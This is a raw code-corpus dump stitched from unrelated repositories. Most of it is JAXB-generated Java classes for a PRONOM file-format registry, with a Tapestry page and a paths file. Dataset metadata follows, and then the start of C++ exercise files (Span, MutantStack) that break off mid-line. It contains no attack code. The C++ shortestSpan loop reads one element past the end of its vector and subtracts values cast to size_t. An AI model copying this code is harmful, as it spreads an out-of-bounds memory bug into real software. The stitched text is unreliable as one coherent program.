*/\r\n public void setDocumentNote(String value) {\r\n this.documentNote = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the documentIdentifier property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the documentIdentifier property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n                 *    getDocumentIdentifier().add(newItem);\r\n                 * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail.FileFormat.Document.DocumentIdentifier }\r\n * \r\n * \r\n */\r\n public List getDocumentIdentifier() {\r\n if (documentIdentifier == null) {\r\n documentIdentifier = new ArrayList();\r\n }\r\n return this.documentIdentifier;\r\n }\r\n\r\n /**\r\n * Gets the value of the author property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the author property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n                 *    getAuthor().add(newItem);\r\n                 * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail.FileFormat.Document.Author }\r\n * \r\n * \r\n */\r\n public List getAuthor() {\r\n if (author == null) {\r\n author = new ArrayList();\r\n }\r\n return this.author;\r\n }\r\n\r\n /**\r\n * Gets the value of the publisher property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the publisher property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n                 *    getPublisher().add(newItem);\r\n                 * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail.FileFormat.Document.Publisher }\r\n * \r\n * \r\n */\r\n public List getPublisher() {\r\n if (publisher == null) {\r\n publisher = new ArrayList();\r\n }\r\n return this.publisher;\r\n }\r\n\r\n\r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"authorID\",\r\n \"authorName\",\r\n \"organisationName\",\r\n \"authorCompoundName\"\r\n })\r\n public static class Author {\r\n\r\n @XmlElement(name = \"AuthorID\")\r\n protected String authorID;\r\n @XmlElement(name = \"AuthorName\")\r\n protected String authorName;\r\n @XmlElement(name = \"OrganisationName\")\r\n protected String organisationName;\r\n @XmlElement(name = \"AuthorCompoundName\")\r\n protected String authorCompoundName;\r\n\r\n /**\r\n * Gets the value of the authorID property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n @NonVisual\r\n public String getAuthorID() {\r\n return authorID;\r\n }\r\n\r\n /**\r\n * Sets the value of the authorID property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setAuthorID(String value) {\r\n this.authorID = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the authorName property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getAuthorName() {\r\n return authorName;\r\n }\r\n\r\n /**\r\n * Sets the value of the authorName property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setAuthorName(String value) {\r\n this.authorName = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the organisationName property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getOrganisationName() {\r\n return organisationName;\r\n }\r\n\r\n /**\r\n * Sets the value of the organisationName property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setOrganisationName(String value) {\r\n this.organisationName = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the authorCompoundName property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getAuthorCompoundName() {\r\n return authorCompoundName;\r\n }\r\n\r\n /**\r\n * Sets the value of the authorCompoundName property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setAuthorCompoundName(String value) {\r\n this.authorCompoundName = value;\r\n }\r\n\r\n }\r\n\r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"identifier\",\r\n \"identifierType\"\r\n })\r\n public static class DocumentIdentifier {\r\n\r\n @XmlElement(name = \"Identifier\")\r\n protected String identifier;\r\n @XmlElement(name = \"IdentifierType\")\r\n protected String identifierType;\r\n\r\n /**\r\n * Gets the value of the identifier property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getIdentifier() {\r\n return identifier;\r\n }\r\n\r\n /**\r\n * Sets the value of the identifier property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setIdentifier(String value) {\r\n this.identifier = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the identifierType property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getIdentifierType() {\r\n return identifierType;\r\n }\r\n\r\n /**\r\n * Sets the value of the identifierType property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setIdentifierType(String value) {\r\n this.identifierType = value;\r\n }\r\n\r\n }\r\n\r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"publisherID\",\r\n \"publisherName\",\r\n \"organisationName\",\r\n \"publisherCompoundName\"\r\n })\r\n public static class Publisher {\r\n\r\n @XmlElement(name = \"PublisherID\")\r\n protected String publisherID;\r\n @XmlElement(name = \"PublisherName\")\r\n protected String publisherName;\r\n @XmlElement(name = \"OrganisationName\")\r\n protected String organisationName;\r\n @XmlElement(name = \"PublisherCompoundName\")\r\n protected String publisherCompoundName;\r\n\r\n /**\r\n * Gets the value of the publisherID property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n @NonVisual\r\n public String getPublisherID() {\r\n return publisherID;\r\n }\r\n\r\n /**\r\n * Sets the value of the publisherID property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setPublisherID(String value) {\r\n this.publisherID = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the publisherName property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getPublisherName() {\r\n return publisherName;\r\n }\r\n\r\n /**\r\n * Sets the value of the publisherName property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setPublisherName(String value) {\r\n this.publisherName = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the organisationName property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getOrganisationName() {\r\n return organisationName;\r\n }\r\n\r\n /**\r\n * Sets the value of the organisationName property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setOrganisationName(String value) {\r\n this.organisationName = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the publisherCompoundName property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getPublisherCompoundName() {\r\n return publisherCompoundName;\r\n }\r\n\r\n /**\r\n * Sets the value of the publisherCompoundName property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setPublisherCompoundName(String value) {\r\n this.publisherCompoundName = value;\r\n }\r\n\r\n }\r\n\r\n }\r\n\r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"externalSignatureID\",\r\n \"signature\",\r\n \"signatureType\"\r\n })\r\n public static class ExternalSignature {\r\n\r\n @XmlElement(name = \"ExternalSignatureID\")\r\n protected String externalSignatureID;\r\n @XmlElement(name = \"Signature\")\r\n protected String signature;\r\n @XmlElement(name = \"SignatureType\")\r\n protected SignatureTypes signatureType;\r\n\r\n /**\r\n * Gets the value of the externalSignatureID property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n @NonVisual\r\n public String getExternalSignatureID() {\r\n return externalSignatureID;\r\n }\r\n\r\n /**\r\n * Sets the value of the externalSignatureID property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setExternalSignatureID(String value) {\r\n this.externalSignatureID = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the signature property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getSignature() {\r\n return signature;\r\n }\r\n\r\n /**\r\n * Sets the value of the signature property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setSignature(String value) {\r\n this.signature = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the signatureType property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n @NonVisual\r\n public SignatureTypes getSignatureType() {\r\n return signatureType;\r\n }\r\n\r\n /**\r\n * Sets the value of the signatureType property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setSignatureType(SignatureTypes value) {\r\n this.signatureType = value;\r\n }\r\n\r\n }\r\n\r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"identifier\",\r\n \"identifierType\"\r\n })\r\n public static class FileFormatIdentifier {\r\n\r\n @XmlElement(name = \"Identifier\")\r\n protected String identifier;\r\n @XmlElement(name = \"IdentifierType\")\r\n protected IdentifierTypes identifierType;\r\n\r\n /**\r\n * Gets the value of the identifier property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getIdentifier() {\r\n return identifier;\r\n }\r\n\r\n /**\r\n * Sets the value of the identifier property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setIdentifier(String value) {\r\n this.identifier = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the identifierType property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public IdentifierTypes getIdentifierType() {\r\n return identifierType;\r\n }\r\n\r\n /**\r\n * Sets the value of the identifierType property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setIdentifierType(IdentifierTypes value) {\r\n this.identifierType = value;\r\n }\r\n\r\n }\r\n\r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"signatureID\",\r\n \"signatureName\",\r\n \"signatureNote\",\r\n \"byteSequence\"\r\n })\r\n public static class InternalSignature {\r\n\r\n @XmlElement(name = \"SignatureID\")\r\n protected String signatureID;\r\n @XmlElement(name = \"SignatureName\")\r\n protected String signatureName;\r\n @XmlElement(name = \"SignatureNote\")\r\n protected String signatureNote;\r\n @XmlElement(name = \"ByteSequence\")\r\n protected List byteSequence;\r\n\r\n /**\r\n * Gets the value of the signatureID property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n @NonVisual\r\n public String getSignatureID() {\r\n return signatureID;\r\n }\r\n\r\n /**\r\n * Sets the value of the signatureID property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setSignatureID(String value) {\r\n this.signatureID = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the signatureName property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getSignatureName() {\r\n return signatureName;\r\n }\r\n\r\n /**\r\n * Sets the value of the signatureName property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setSignatureName(String value) {\r\n this.signatureName = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the signatureNote property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getSignatureNote() {\r\n return signatureNote;\r\n }\r\n\r\n /**\r\n * Sets the value of the signatureNote property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setSignatureNote(String value) {\r\n this.signatureNote = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the byteSequence property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the byteSequence property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n                 *    getByteSequence().add(newItem);\r\n                 * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail.FileFormat.InternalSignature.ByteSequence }\r\n * \r\n * \r\n */\r\n public List getByteSequence() {\r\n if (byteSequence == null) {\r\n byteSequence = new ArrayList();\r\n }\r\n return this.byteSequence;\r\n }\r\n\r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"byteSequenceID\",\r\n \"positionType\",\r\n \"offset\",\r\n \"maxOffset\",\r\n \"indirectOffsetLocation\",\r\n \"indirectOffsetLength\",\r\n \"endianness\",\r\n \"byteSequenceValue\"\r\n })\r\n public static class ByteSequence {\r\n\r\n @XmlElement(name = \"ByteSequenceID\")\r\n protected String byteSequenceID;\r\n @XmlElement(name = \"PositionType\")\r\n protected String positionType;\r\n @XmlElement(name = \"Offset\")\r\n protected String offset;\r\n @XmlElement(name = \"MaxOffset\")\r\n protected String maxOffset;\r\n @XmlElement(name = \"IndirectOffsetLocation\")\r\n protected String indirectOffsetLocation;\r\n @XmlElement(name = \"IndirectOffsetLength\")\r\n protected String indirectOffsetLength;\r\n @XmlElement(name = \"Endianness\")\r\n protected String endianness;\r\n @XmlElement(name = \"ByteSequenceValue\")\r\n protected String byteSequenceValue;\r\n\r\n /**\r\n * Gets the value of the byteSequenceID property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n @NonVisual\r\n public String getByteSequenceID() {\r\n return byteSequenceID;\r\n }\r\n\r\n /**\r\n * Sets the value of the byteSequenceID property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setByteSequenceID(String value) {\r\n this.byteSequenceID = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the positionType property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getPositionType() {\r\n return positionType;\r\n }\r\n\r\n /**\r\n * Sets the value of the positionType property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setPositionType(String value) {\r\n this.positionType = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the offset property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getOffset() {\r\n return offset;\r\n }\r\n\r\n /**\r\n * Sets the value of the offset property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setOffset(String value) {\r\n this.offset = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the maxOffset property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getMaxOffset() {\r\n return maxOffset;\r\n }\r\n\r\n /**\r\n * Sets the value of the maxOffset property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setMaxOffset(String value) {\r\n this.maxOffset = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the indirectOffsetLocation property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getIndirectOffsetLocation() {\r\n return indirectOffsetLocation;\r\n }\r\n\r\n /**\r\n * Sets the value of the indirectOffsetLocation property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setIndirectOffsetLocation(String value) {\r\n this.indirectOffsetLocation = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the indirectOffsetLength property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getIndirectOffsetLength() {\r\n return indirectOffsetLength;\r\n }\r\n\r\n /**\r\n * Sets the value of the indirectOffsetLength property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setIndirectOffsetLength(String value) {\r\n this.indirectOffsetLength = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the endianness property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getEndianness() {\r\n return endianness;\r\n }\r\n\r\n /**\r\n * Sets the value of the endianness property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setEndianness(String value) {\r\n this.endianness = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the byteSequenceValue property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getByteSequenceValue() {\r\n return byteSequenceValue;\r\n }\r\n\r\n /**\r\n * Sets the value of the byteSequenceValue property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setByteSequenceValue(String value) {\r\n this.byteSequenceValue = value;\r\n }\r\n\r\n }\r\n\r\n }\r\n\r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"fidoSignatureID\",\r\n \"fidoSignatureName\",\r\n \"fidoSignatureNote\",\r\n \"fidoPrioritize\",\r\n \"pattern\"\r\n })\r\n public static class FidoSignature {\r\n\r\n @XmlElement(name = \"FidoSignatureID\")\r\n protected String fidoSignatureID;\r\n @XmlElement(name = \"FidoSignatureName\")\r\n protected String fidoSignatureName;\r\n @XmlElement(name = \"FidoSignatureNote\")\r\n protected String fidoSignatureNote;\r\n @XmlElement(name = \"FidoPrioritize\")\r\n protected boolean fidoPrioritize;\r\n @XmlElement(name = \"Pattern\")\r\n protected List pattern;\r\n\r\n /**\r\n * Gets the value of the fidoSignatureID property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n @NonVisual\r\n public String getFidoSignatureID() {\r\n return fidoSignatureID;\r\n }\r\n\r\n /**\r\n * Sets the value of the fidoSignatureID property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setFidoSignatureID(String value) {\r\n this.fidoSignatureID = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the fidoSignatureName property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getFidoSignatureName() {\r\n return fidoSignatureName;\r\n }\r\n\r\n /**\r\n * Sets the value of the fidoSignatureName property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setFidoSignatureName(String value) {\r\n this.fidoSignatureName = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the fidoSignatureNote property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getFidoSignatureNote() {\r\n return fidoSignatureNote;\r\n }\r\n\r\n /**\r\n * Sets the value of the fidoPrioritize property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link boolean }\r\n * \r\n */\r\n \r\n public void setFidoPrioritize(boolean value) {\r\n this.fidoPrioritize = value;\r\n }\r\n /**\r\n * Gets the value of the fidoPrioritize property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link boolean }\r\n * \r\n */\r\n public boolean getFidoPrioritize() {\r\n return fidoPrioritize;\r\n }\r\n\r\n /**\r\n * Sets the value of the fidoSignatureNote property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setFidoSignatureNote(String value) {\r\n this.fidoSignatureNote = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the pattern property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the byteSequence property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n                 *    getPattern().add(newItem);\r\n                 * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail.FileFormat.InternalSignature.Pattern }\r\n * \r\n * \r\n */\r\n public List getPattern() {\r\n if (pattern == null) {\r\n \tpattern = new ArrayList();\r\n }\r\n return this.pattern;\r\n }\r\n \r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"patternID\",\r\n \"position\",\r\n \"regex\"\r\n })\r\n public static class Pattern {\r\n\r\n @XmlElement(name = \"PatternID\")\r\n protected String patternID;\r\n @XmlElement(name = \"Position\")\r\n protected PositionType position;\r\n @XmlElement(name = \"Regex\")\r\n protected String regex;\r\n \r\n /**\r\n * Gets the value of the patternID property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n @NonVisual\r\n public String getPatternID() {\r\n return patternID;\r\n }\r\n\r\n /**\r\n * Sets the value of the patternID property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setPatternID(String value) {\r\n this.patternID = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the position property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link PositionType }\r\n * \r\n */\r\n public PositionType getPosition() {\r\n return position;\r\n }\r\n\r\n /**\r\n * Sets the value of the position property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link PositionType }\r\n * \r\n */\r\n public void setPosition(PositionType value) {\r\n this.position = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the regex property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getRegex() {\r\n return regex;\r\n }\r\n\r\n /**\r\n * Sets the value of the regex property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setRegex(String value) {\r\n this.regex = value;\r\n }\r\n\r\n }\r\n\r\n }\r\n \r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"relationshipType\",\r\n \"relatedFormatID\",\r\n \"relatedFormatName\",\r\n \"relatedFormatVersion\"\r\n })\r\n public static class RelatedFormat {\r\n\r\n @XmlElement(name = \"RelationshipType\")\r\n protected RelationshipTypes relationshipType;\r\n @XmlElement(name = \"RelatedFormatID\")\r\n protected String relatedFormatID;\r\n @XmlElement(name = \"RelatedFormatName\")\r\n protected String relatedFormatName;\r\n @XmlElement(name = \"RelatedFormatVersion\")\r\n protected String relatedFormatVersion;\r\n\r\n /**\r\n * Gets the value of the relationshipType property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public RelationshipTypes getRelationshipType() {\r\n return relationshipType;\r\n }\r\n\r\n /**\r\n * Sets the value of the relationshipType property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setRelationshipType(RelationshipTypes value) {\r\n this.relationshipType = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the relatedFormatID property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n @NonVisual\r\n public String getRelatedFormatID() {\r\n return relatedFormatID;\r\n }\r\n\r\n /**\r\n * Sets the value of the relatedFormatID property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setRelatedFormatID(String value) {\r\n this.relatedFormatID = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the relatedFormatName property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getRelatedFormatName() {\r\n return relatedFormatName;\r\n }\r\n\r\n /**\r\n * Sets the value of the relatedFormatName property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setRelatedFormatName(String value) {\r\n this.relatedFormatName = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the relatedFormatVersion property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getRelatedFormatVersion() {\r\n return relatedFormatVersion;\r\n }\r\n\r\n /**\r\n * Sets the value of the relatedFormatVersion property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setRelatedFormatVersion(String value) {\r\n this.relatedFormatVersion = value;\r\n }\r\n\r\n }\r\n\r\n }\r\n\r\n }\r\n \r\n public enum RelationshipTypes {\r\n \tHas_priority_over, Has_lower_priority_than, Is_previous_version_of, Is_subsequent_version_of, Is_supertype_of, Is_subtype_of, Equivalent_to;\r\n }\r\n \r\n public enum IdentifierTypes {\r\n \tMIME, PUID, Apple_Uniform_Type_Identifier, Other;\r\n }\r\n \r\n public enum SignatureTypes {\r\n \tFile_extension, Other;\r\n }\r\n\r\n}\r\npackage at.ac.ait.formatRegistry.gui.pages;\r\n\r\nimport java.util.List;\r\nimport org.apache.tapestry5.annotations.Persist;\r\nimport uk.gov.nationalarchives.pronom.PRONOMReport.ReportFormatDetail.FileFormat;\r\n\r\npublic class ListFormats {\r\n\tprivate FileFormat format;\r\n\t\r\n\t@Persist\r\n\tprivate List resultsList;\r\n\r\n\tObject initialize(List results) {\r\n\t\tthis.resultsList = results;\r\n\t\treturn this;\r\n\t}\r\n\r\n\tpublic List getFormats() {\r\n\t\treturn resultsList;\r\n\t}\r\n\r\n\tpublic FileFormat getFormat() {\r\n\t\treturn format;\r\n\t}\r\n\r\n\tpublic void setFormat(FileFormat format) {\r\n\t\tthis.format = format;\r\n\t}\r\n\r\n}\r\nformatxmlpath=C:/registry/formatxmlrepository\r\noutputxmlpath=C:/registry/work\r\ndownloadpath=C:/registry/download"},"directory_id":{"kind":"string","value":"ab4d27415343917fde39e7aa91cb56224f6b511b"},"languages":{"kind":"list like","value":["Java","Text","INI"],"string":"[\n \"Java\",\n \"Text\",\n \"INI\"\n]"},"num_files":{"kind":"number","value":7,"string":"7"},"repo_language":{"kind":"string","value":"Text"},"repo_name":{"kind":"string","value":"rcking/formatregistry"},"revision_id":{"kind":"string","value":"9c6bc5176807c968acf7a1dbaa8b6d7d35df3615"},"snapshot_id":{"kind":"string","value":"748947437b16da1479c909b6c7516ba1c4a93873"}}},{"rowIdx":119,"cells":{"branch_name":{"kind":"string","value":"refs/heads/main"},"text":{"kind":"string","value":"InigoRomero/CPP08/ex01/span.cpp\n# include \"Span.hpp\"\n\nSpan::Span()\n:\n_length(0),\n_numbers(0)\n{}\n\nSpan::Span(unsigned int n)\n:\n_length(n),\n_numbers(std::vector())\n{}\n\nSpan::Span(Span const &copy)\n:\n\t_length(copy._length)\n{\n\tthis->_numbers.clear();\n\tthis->_numbers = copy._numbers;\n}\n\nSpan::~Span(){}\n\nSpan &Span::operator=(const Span& op)\n{\n this->_length = op._length;\n this->_numbers = op._numbers;\n return (*this);\n}\n\nvoid Span::addNumber(int n)\n{\n if (this->_numbers.size() < this->_length)\n this->_numbers.push_back(n);\n else\n throw VectorIsFull();\n}\n\nsize_t Span::shortestSpan()\n{\n size_t size = this->_numbers.size();\n\tif (size <= 1)\n\t\tthrow Span::ShortSpanException();\n std::sort(this->_numbers.begin(), this->_numbers.end());\n size_t x = (size_t)this->_numbers[1] - (size_t)this->_numbers[0];\n for (size_t n = 0; n < size; n++)\n if (x > ((size_t)this->_numbers[n + 1] - (size_t)this->_numbers[n]))\n x = (size_t)this->_numbers[n + 1] - (size_t)this->_numbers[n];\n return (x);\n}\n\nlong Span::longestSpan()\n{\n long x;\n std::vector::iterator min;\n\tstd::vector::iterator max;\n size_t size = this->_numbers.size();\n\n\tif (size <= 1)\n\t\tthrow Span::LongSpanException();\n\tmin = std::min_element(this->_numbers.begin(), this->_numbers.end());\n\tmax = std::max_element(this->_numbers.begin(), this->_numbers.end());\n\tx = (long)(*min) - (long)(*max);\n x = x < 0 ? (x * -1) : x;\n return (x);\n}\n\n\n//exceptions\nconst char* Span::VectorIsFull::what() const throw()\n{\n\treturn \"Exception: Vector is FULL\";\n}\n\nconst char* Span::ShortSpanException::what() const throw()\n{\n return \"Exception: ShortSpanException\";\n}\n\nconst char* Span::LongSpanException::what() const throw()\n{\n return \"Exception: LongSpanException\";\n}\n/ex02/mutantstack.hpp\n#ifndef MUTANTSTACK_HPP\n# define MUTANTSTACK_HPP\n\n# include \n# include \n# include \n\ntemplate< typename T > \nclass MutantStack : public std::stack\n{\n public:\n typedef typename std::stack::container_type::iterator iterator;\n typedef typename std::stack::container_type::const_iterator const_iterator;\n typedef typename std::stack::container_type::reverse_iterator reverse_iterator;\n typedef typename std::stack::container_type::const_reverse_iterator const_reverse_iterator;\n\n MutantStack() : std::stack() {};\n MutantStack(const MutantStack& copy) : std::stack(copy){};\n virtual ~MutantStack() {};\n\n MutantStack &operator=(const MutantStack &op)\n {\n if (this == &op)\n return (*this);\n std::stack::operator=(op);\n return (*this);\n };\n\t\n iterator begin() { return (std::stack::c.begin()); }\n const_iterator begin() const { return (std::stack::c.begin()); }\n iterator end() { return (std::stack::c.end()); }\n const_iterator end() const { return (std::stack::c.end()); }\n reverse_iterator rbegin() { return (std::stack::c.rbegin()); }\n const_reverse_iterator rbegin() 